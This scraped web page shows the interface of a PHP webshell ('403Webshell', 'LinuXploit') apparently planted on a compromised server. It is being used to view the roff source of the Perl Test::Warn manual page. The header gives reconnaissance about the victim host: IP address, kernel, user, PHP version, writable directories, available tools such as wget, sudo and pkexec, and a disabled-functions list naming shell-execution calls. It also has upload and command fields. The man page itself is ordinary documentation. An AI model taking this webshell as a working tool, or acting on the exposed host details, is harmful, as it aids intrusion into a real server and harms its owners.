403Webshell
Server IP : 103.119.228.120  /  Your IP : 3.147.47.177
Web Server : Apache
System : Linux v8.techscape8.com 3.10.0-1160.119.1.el7.tuxcare.els2.x86_64 #1 SMP Mon Jul 15 12:09:18 UTC 2024 x86_64
User : nobody ( 99)
PHP Version : 5.6.40
Disable Function : shell_exec,symlink,system,exec,proc_get_status,proc_nice,proc_terminate,define_syslog_variables,syslog,openlog,closelog,escapeshellcmd,passthru,ocinum cols,ini_alter,leak,listen,chgrp,apache_note,apache_setenv,debugger_on,debugger_off,ftp_exec,dl,dll,myshellexec,proc_open,socket_bind,proc_close,escapeshellarg,parse_ini_filepopen,fpassthru,exec,passthru,escapeshellarg,escapeshellcmd,proc_close,proc_open,ini_alter,popen,show_source,proc_nice,proc_terminate,proc_get_status,proc_close,pfsockopen,leak,apache_child_terminate,posix_kill,posix_mkfifo,posix_setpgid,posix_setsid,posix_setuid,dl,symlink,shell_exec,system,dl,passthru,escapeshellarg,escapeshellcmd,myshellexec,c99_buff_prepare,c99_sess_put,fpassthru,getdisfunc,fx29exec,fx29exec2,is_windows,disp_freespace,fx29sh_getupdate,fx29_buff_prepare,fx29_sess_put,fx29shexit,fx29fsearch,fx29ftpbrutecheck,fx29sh_tools,fx29sh_about,milw0rm,imagez,sh_name,myshellexec,checkproxyhost,dosyayicek,c99_buff_prepare,c99_sess_put,c99getsource,c99sh_getupdate,c99fsearch,c99shexit,view_perms,posix_getpwuid,posix_getgrgid,posix_kill,parse_perms,parsesort,view_perms_color,set_encoder_input,ls_setcheckboxall,ls_reverse_all,rsg_read,rsg_glob,selfURL,dispsecinfo,unix2DosTime,addFile,system,get_users,view_size,DirFiles,DirFilesWide,DirPrintHTMLHeaders,GetFilesTotal,GetTitles,GetTimeTotal,GetMatchesCount,GetFileMatchesCount,GetResultFiles,fs_copy_dir,fs_copy_obj,fs_move_dir,fs_move_obj,fs_rmdir,SearchText,getmicrotime
MySQL : ON |  cURL : ON |  WGET : ON |  Perl : ON |  Python : ON |  Sudo : ON |  Pkexec : ON
Directory :  /usr/local/ssl/local/ssl/local/share/man/man3/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /usr/local/ssl/local/ssl/local/share/man/man3/Test::Warn.3pm
.\" Automatically generated by Pod::Man 2.27 (Pod::Simple 3.28)
.\"
.\" Standard preamble:
.\" ========================================================================
.de Sp \" Vertical space (when we can't use .PP)
.if t .sp .5v
.if n .sp
..
.de Vb \" Begin verbatim text
.ft CW
.nf
.ne \\$1
..
.de Ve \" End verbatim text
.ft R
.fi
..
.\" Set up some character translations and predefined strings.  \*(-- will
.\" give an unbreakable dash, \*(PI will give pi, \*(L" will give a left
.\" double quote, and \*(R" will give a right double quote.  \*(C+ will
.\" give a nicer C++.  Capital omega is used to do unbreakable dashes and
.\" therefore won't be available.  \*(C` and \*(C' expand to `' in nroff,
.\" nothing in troff, for use with C<>.
.tr \(*W-
.ds C+ C\v'-.1v'\h'-1p'\s-2+\h'-1p'+\s0\v'.1v'\h'-1p'
.ie n \{\
.    ds -- \(*W-
.    ds PI pi
.    if (\n(.H=4u)&(1m=24u) .ds -- \(*W\h'-12u'\(*W\h'-12u'-\" diablo 10 pitch
.    if (\n(.H=4u)&(1m=20u) .ds -- \(*W\h'-12u'\(*W\h'-8u'-\"  diablo 12 pitch
.    ds L" ""
.    ds R" ""
.    ds C` ""
.    ds C' ""
'br\}
.el\{\
.    ds -- \|\(em\|
.    ds PI \(*p
.    ds L" ``
.    ds R" ''
.    ds C`
.    ds C'
'br\}
.\"
.\" Escape single quotes in literal strings from groff's Unicode transform.
.ie \n(.g .ds Aq \(aq
.el       .ds Aq '
.\"
.\" If the F register is turned on, we'll generate index entries on stderr for
.\" titles (.TH), headers (.SH), subsections (.SS), items (.Ip), and index
.\" entries marked with X<> in POD.  Of course, you'll have to process the
.\" output yourself in some meaningful fashion.
.\"
.\" Avoid warning from groff about undefined register 'F'.
.de IX
..
.nr rF 0
.if \n(.g .if rF .nr rF 1
.if (\n(rF:(\n(.g==0)) \{
.    if \nF \{
.        de IX
.        tm Index:\\$1\t\\n%\t"\\$2"
..
.        if !\nF==2 \{
.            nr % 0
.            nr F 2
.        \}
.    \}
.\}
.rr rF
.\"
.\" Accent mark definitions (@(#)ms.acc 1.5 88/02/08 SMI; from UCB 4.2).
.\" Fear.  Run.  Save yourself.  No user-serviceable parts.
.    \" fudge factors for nroff and troff
.if n \{\
.    ds #H 0
.    ds #V .8m
.    ds #F .3m
.    ds #[ \f1
.    ds #] \fP
.\}
.if t \{\
.    ds #H ((1u-(\\\\n(.fu%2u))*.13m)
.    ds #V .6m
.    ds #F 0
.    ds #[ \&
.    ds #] \&
.\}
.    \" simple accents for nroff and troff
.if n \{\
.    ds ' \&
.    ds ` \&
.    ds ^ \&
.    ds , \&
.    ds ~ ~
.    ds /
.\}
.if t \{\
.    ds ' \\k:\h'-(\\n(.wu*8/10-\*(#H)'\'\h"|\\n:u"
.    ds ` \\k:\h'-(\\n(.wu*8/10-\*(#H)'\`\h'|\\n:u'
.    ds ^ \\k:\h'-(\\n(.wu*10/11-\*(#H)'^\h'|\\n:u'
.    ds , \\k:\h'-(\\n(.wu*8/10)',\h'|\\n:u'
.    ds ~ \\k:\h'-(\\n(.wu-\*(#H-.1m)'~\h'|\\n:u'
.    ds / \\k:\h'-(\\n(.wu*8/10-\*(#H)'\z\(sl\h'|\\n:u'
.\}
.    \" troff and (daisy-wheel) nroff accents
.ds : \\k:\h'-(\\n(.wu*8/10-\*(#H+.1m+\*(#F)'\v'-\*(#V'\z.\h'.2m+\*(#F'.\h'|\\n:u'\v'\*(#V'
.ds 8 \h'\*(#H'\(*b\h'-\*(#H'
.ds o \\k:\h'-(\\n(.wu+\w'\(de'u-\*(#H)/2u'\v'-.3n'\*(#[\z\(de\v'.3n'\h'|\\n:u'\*(#]
.ds d- \h'\*(#H'\(pd\h'-\w'~'u'\v'-.25m'\f2\(hy\fP\v'.25m'\h'-\*(#H'
.ds D- D\\k:\h'-\w'D'u'\v'-.11m'\z\(hy\v'.11m'\h'|\\n:u'
.ds th \*(#[\v'.3m'\s+1I\s-1\v'-.3m'\h'-(\w'I'u*2/3)'\s-1o\s+1\*(#]
.ds Th \*(#[\s+2I\s-2\h'-\w'I'u*3/5'\v'-.3m'o\v'.3m'\*(#]
.ds ae a\h'-(\w'a'u*4/10)'e
.ds Ae A\h'-(\w'A'u*4/10)'E
.    \" corrections for vroff
.if v .ds ~ \\k:\h'-(\\n(.wu*9/10-\*(#H)'\s-2\u~\d\s+2\h'|\\n:u'
.if v .ds ^ \\k:\h'-(\\n(.wu*10/11-\*(#H)'\v'-.4m'^\v'.4m'\h'|\\n:u'
.    \" for low resolution devices (crt and lpr)
.if \n(.H>23 .if \n(.V>19 \
\{\
.    ds : e
.    ds 8 ss
.    ds o a
.    ds d- d\h'-1'\(ga
.    ds D- D\h'-1'\(hy
.    ds th \o'bp'
.    ds Th \o'LP'
.    ds ae ae
.    ds Ae AE
.\}
.rm #[ #] #H #V #F C
.\" ========================================================================
.\"
.IX Title "Warn 3"
.TH Warn 3 "2014-03-01" "perl v5.16.3" "User Contributed Perl Documentation"
.\" For nroff, turn off justification.  Always turn off hyphenation; it makes
.\" way too many mistakes in technical documents.
.if n .ad l
.nh
.SH "NAME"
Test::Warn \- Perl extension to test methods for warnings
.SH "SYNOPSIS"
.IX Header "SYNOPSIS"
.Vb 1
\&  use Test::Warn;
\&
\&  warning_is    {foo(\-dri => "/")} "Unknown Parameter \*(Aqdri\*(Aq", "dri != dir gives warning";
\&  warnings_are  {bar(1,1)} ["Width very small", "Height very small"];
\&
\&  warning_is    {add(2,2)} undef, "No warnings for calc 2+2"; # or
\&  warnings_are  {add(2,2)} [],    "No warnings for calc 2+2"; # what reads better :\-)
\&
\&  warning_like  {foo(\-dri => "/")} qr/unknown param/i, "an unknown parameter test";
\&  warnings_like {bar(1,1)} [qr/width.*small/i, qr/height.*small/i];
\&
\&  warning_is    {foo()} {carped => "didn\*(Aqt find the right parameters"};
\&  warnings_like {foo()} [qr/undefined/,qr/undefined/,{carped => qr/no result/i}];
\&
\&  warning_like {foo(undef)}                 \*(Aquninitialized\*(Aq;
\&  warning_like {bar(file => \*(Aq/etc/passwd\*(Aq)} \*(Aqio\*(Aq;
\&
\&  warning_like {eval q/"$x"; $x;/} 
\&               [qw/void uninitialized/], 
\&               "some warnings at compile time";
\&
\&  warnings_exist {...} [qr/expected warning/], "Expected warning is thrown";
.Ve
.SH "DESCRIPTION"
.IX Header "DESCRIPTION"
A good style of Perl programming calls for a lot of diverse regression tests.
.PP
This module provides a few convenience methods for testing warning based code.
.PP
If you are not already familiar with the Test::More manpage 
now would be the time to go take a look.
.SS "\s-1FUNCTIONS\s0"
.IX Subsection "FUNCTIONS"
.IP "warning_is \s-1BLOCK STRING, TEST_NAME\s0" 4
.IX Item "warning_is BLOCK STRING, TEST_NAME"
Tests that \s-1BLOCK\s0 gives the specified warning exactly once.
The test fails if the \s-1BLOCK\s0 warns more than once or does not warn at all.
If the string is undef, 
then the tests succeeds if the \s-1BLOCK\s0 doesn't give any warning.
Another way to say that there are no warnings in the block
is \f(CW\*(C`warnings_are {foo()} [], "no warnings"\*(C'\fR.
.Sp
If you want to test for a warning given by Carp,
you have to write something like:
\&\f(CW\*(C`warning_is {carp "msg"} {carped => \*(Aqmsg\*(Aq}, "Test for a carped warning"\*(C'\fR.
The test will fail if a \*(L"normal\*(R" warning is found instead of a \*(L"carped\*(R" one.
.Sp
Note: \f(CW\*(C`warn "foo"\*(C'\fR would print something like \f(CW\*(C`foo at \-e line 1\*(C'\fR. 
This method ignores everything after the \*(L"at\*(R". Thus to match this warning
you would have to call \f(CW\*(C`warning_is {warn "foo"} "foo", "Foo succeeded"\*(C'\fR.
If you need to test for a warning at an exactly line,
try something like \f(CW\*(C`warning_like {warn "foo"} qr/at XYZ.dat line 5/\*(C'\fR.
.Sp
warning_is and warning_are are only aliases to the same method.
So you also could write
\&\f(CW\*(C`warning_is {foo()} [], "no warning"\*(C'\fR or something similar.
I decided to give two methods the same name to improve readability.
.Sp
A true value is returned if the test succeeds, false otherwise.
.Sp
The test name is optional, but recommended.
.IP "warnings_are \s-1BLOCK ARRAYREF, TEST_NAME\s0" 4
.IX Item "warnings_are BLOCK ARRAYREF, TEST_NAME"
Tests to see that \s-1BLOCK\s0 gives exactly the specified warnings.
The test fails if the warnings from \s-1BLOCK\s0 are not exactly the ones in \s-1ARRAYREF.\s0
If the \s-1ARRAYREF\s0 is equal to [],
then the test succeeds if the \s-1BLOCK\s0 doesn't give any warning.
.Sp
Please read also the notes to warning_is as these methods are only aliases.
.Sp
If you want more than one test for carped warnings, try this:
\&\f(CW\*(C`warnings_are {carp "c1"; carp "c2"} {carped =\*(C'\fR ['c1','c2'];> or
\&\f(CW\*(C`warnings_are {foo()} ["Warning 1", {carped =\*(C'\fR [\*(L"Carp 1\*(R", \*(L"Carp 2\*(R"]}, \*(L"Warning 2\*(R"]>.
Note that \f(CW\*(C`{carped =\*(C'\fR ...}> must always be a hash ref.
.IP "warning_like \s-1BLOCK REGEXP, TEST_NAME\s0" 4
.IX Item "warning_like BLOCK REGEXP, TEST_NAME"
Tests that \s-1BLOCK\s0 gives exactly one warning and it can be matched by
the given regexp.
If the string is undef, 
then the tests succeeds if the \s-1BLOCK\s0 doesn't give any warning.
.Sp
The \s-1REGEXP\s0 is matched against the whole warning line,
which in general has the form \*(L"\s-1WARNING\s0 at _\|_FILE_\|_ line _\|_LINE_\|_\*(R".
So you can check for a warning in the file Foo.pm on line 5 with
\&\f(CW\*(C`warning_like {bar()} qr/at Foo.pm line 5/, "Testname"\*(C'\fR.
I don't know whether it makes sense to do such a test :\-(
However, you should be prepared as a matching with 'at', 'file', '\ed'
or similar will always pass. 
Think to the qr/^foo/ if you want to test for warning \*(L"foo something\*(R" in file foo.pl.
.Sp
You can also write the regexp in a string as \*(L"/.../\*(R"
instead of using the qr/.../ syntax.
Note that the slashes are important in the string,
as strings without slashes are reserved for warning categories
(to match warning categories as can be seen in the perllexwarn man page).
.Sp
Similar to \f(CW\*(C`warning_is\*(C'\fR,
you can test for warnings via \f(CW\*(C`carp\*(C'\fR with:
\&\f(CW\*(C`warning_like {bar()} {carped =\*(C'\fR qr/bar called too early/i};>
.Sp
Similar to \f(CW\*(C`warning_is\*(C'\fR/\f(CW\*(C`warnings_are\*(C'\fR,
\&\f(CW\*(C`warning_like\*(C'\fR and \f(CW\*(C`warnings_like\*(C'\fR are only aliases to the same methods.
.Sp
A true value is returned if the test succeeds, false otherwise.
.Sp
The test name is optional, but recommended.
.IP "warning_like \s-1BLOCK STRING, TEST_NAME\s0" 4
.IX Item "warning_like BLOCK STRING, TEST_NAME"
Tests whether a \s-1BLOCK\s0 gives exactly one warning of the passed category.
The categories are grouped in a tree,
like it is expressed in perllexwarn.
Also see \*(L"\s-1BUGS AND LIMITATIONS\*(R"\s0.
.Sp
Thanks to the grouping in a tree,
it's simple possible to test for an 'io' warning,
instead for testing for a 'closed|exec|layer|newline|pipe|unopened' warning.
.Sp
Note, that warnings occurring at compile time,
can only be caught in an eval block. So
.Sp
.Vb 3
\&  warning_like {eval q/"$x"; $x;/} 
\&               [qw/void uninitialized/], 
\&               "some warnings at compile time";
.Ve
.Sp
will work,
while it wouldn't work without the eval.
.Sp
Note, that it isn't possible yet,
to test for own categories,
created with warnings::register.
.IP "warnings_like \s-1BLOCK ARRAYREF, TEST_NAME\s0" 4
.IX Item "warnings_like BLOCK ARRAYREF, TEST_NAME"
Tests to see that \s-1BLOCK\s0 gives exactly the number of the specified warnings
and all the warnings have to match in the defined order to the 
passed regexes.
.Sp
Please read also the notes to warning_like as these methods are only aliases.
.Sp
Similar to \f(CW\*(C`warnings_are\*(C'\fR,
you can test for multiple warnings via \f(CW\*(C`carp\*(C'\fR
and for warning categories, too:
.Sp
.Vb 7
\&  warnings_like {foo()} 
\&                [qr/bar warning/,
\&                 qr/bar warning/,
\&                 {carped => qr/bar warning/i},
\&                 \*(Aqio\*(Aq
\&                ],
\&                "I hope, you\*(Aqll never have to write a test for so many warnings :\-)";
.Ve
.IP "warnings_exist \s-1BLOCK\s0 STRING|ARRAYREF, \s-1TEST_NAME\s0" 4
.IX Item "warnings_exist BLOCK STRING|ARRAYREF, TEST_NAME"
Same as warning_like, but will \fIwarn()\fR all warnings that do not match the supplied regex/category,
instead of registering an error. Use this test when you just want to make sure that specific
warnings were generated, and couldn't care less if other warnings happened in the same block
of code.
.Sp
.Vb 1
\&  warnings_exist {...} [qr/expected warning/], "Expected warning is thrown";
\&
\&  warnings_exist {...} [\*(Aquninitialized\*(Aq], "Expected warning is thrown";
.Ve
.SS "\s-1EXPORT\s0"
.IX Subsection "EXPORT"
\&\f(CW\*(C`warning_is\*(C'\fR,
\&\f(CW\*(C`warnings_are\*(C'\fR,
\&\f(CW\*(C`warning_like\*(C'\fR,
\&\f(CW\*(C`warnings_like\*(C'\fR,
\&\f(CW\*(C`warnings_exist\*(C'\fR by default.
.SH "BUGS AND LIMITATIONS"
.IX Header "BUGS AND LIMITATIONS"
Category check is done as qr/category_name/. In some case this works, like for
category 'uninitialized'. For 'utf8' it does not work. Perl does not have a list
of warnings, so it is not possible to generate one for Test::Warn.
If you want to add a warning to a category, send a pull request. Modifications
should be done to \f(CW%warnings_in_category\fR. You should look into perl source to check
how warning is looking exactly.
.PP
Please note that warnings with newlines inside are making a lot of trouble.
The only sensible way to handle them is to use are the \f(CW\*(C`warning_like\*(C'\fR or
\&\f(CW\*(C`warnings_like\*(C'\fR methods. Background for these problems is that there is no
really secure way to distinguish between warnings with newlines and a tracing
stacktrace.
.PP
If a method has it's own warn handler,
overwriting \f(CW$SIG{_\|_WARN_\|_}\fR,
my test warning methods won't get these warnings.
.PP
The \f(CW\*(C`warning_like BLOCK CATEGORY, TEST_NAME\*(C'\fR method isn't extremely tested.
Please use this calling style with higher attention and
tell me if you find a bug.
.SH "TODO"
.IX Header "TODO"
Improve this documentation.
.PP
The code has some parts doubled \- especially in the test scripts.
This is really awkward and must be changed.
.PP
Please feel free to suggest improvements.
.SH "SEE ALSO"
.IX Header "SEE ALSO"
Have a look to the similar modules: Test::Exception, Test::Trap.
.SH "THANKS"
.IX Header "THANKS"
Many thanks to Adrian Howard, chromatic and Michael G. Schwern,
who have given me a lot of ideas.
.SH "AUTHOR"
.IX Header "AUTHOR"
Janek Schleicher, <bigj \s-1AT\s0 kamelfreund.de>
.SH "COPYRIGHT AND LICENSE"
.IX Header "COPYRIGHT AND LICENSE"
Copyright 2002 by Janek Schleicher
.PP
Copyright 2007\-2014 by Alexandr Ciornii, <http://chorny.net/>
.PP
This library is free software; you can redistribute it and/or modify
it under the same terms as Perl itself.

Youez - 2016 - github.com/yon3zu
LinuXploit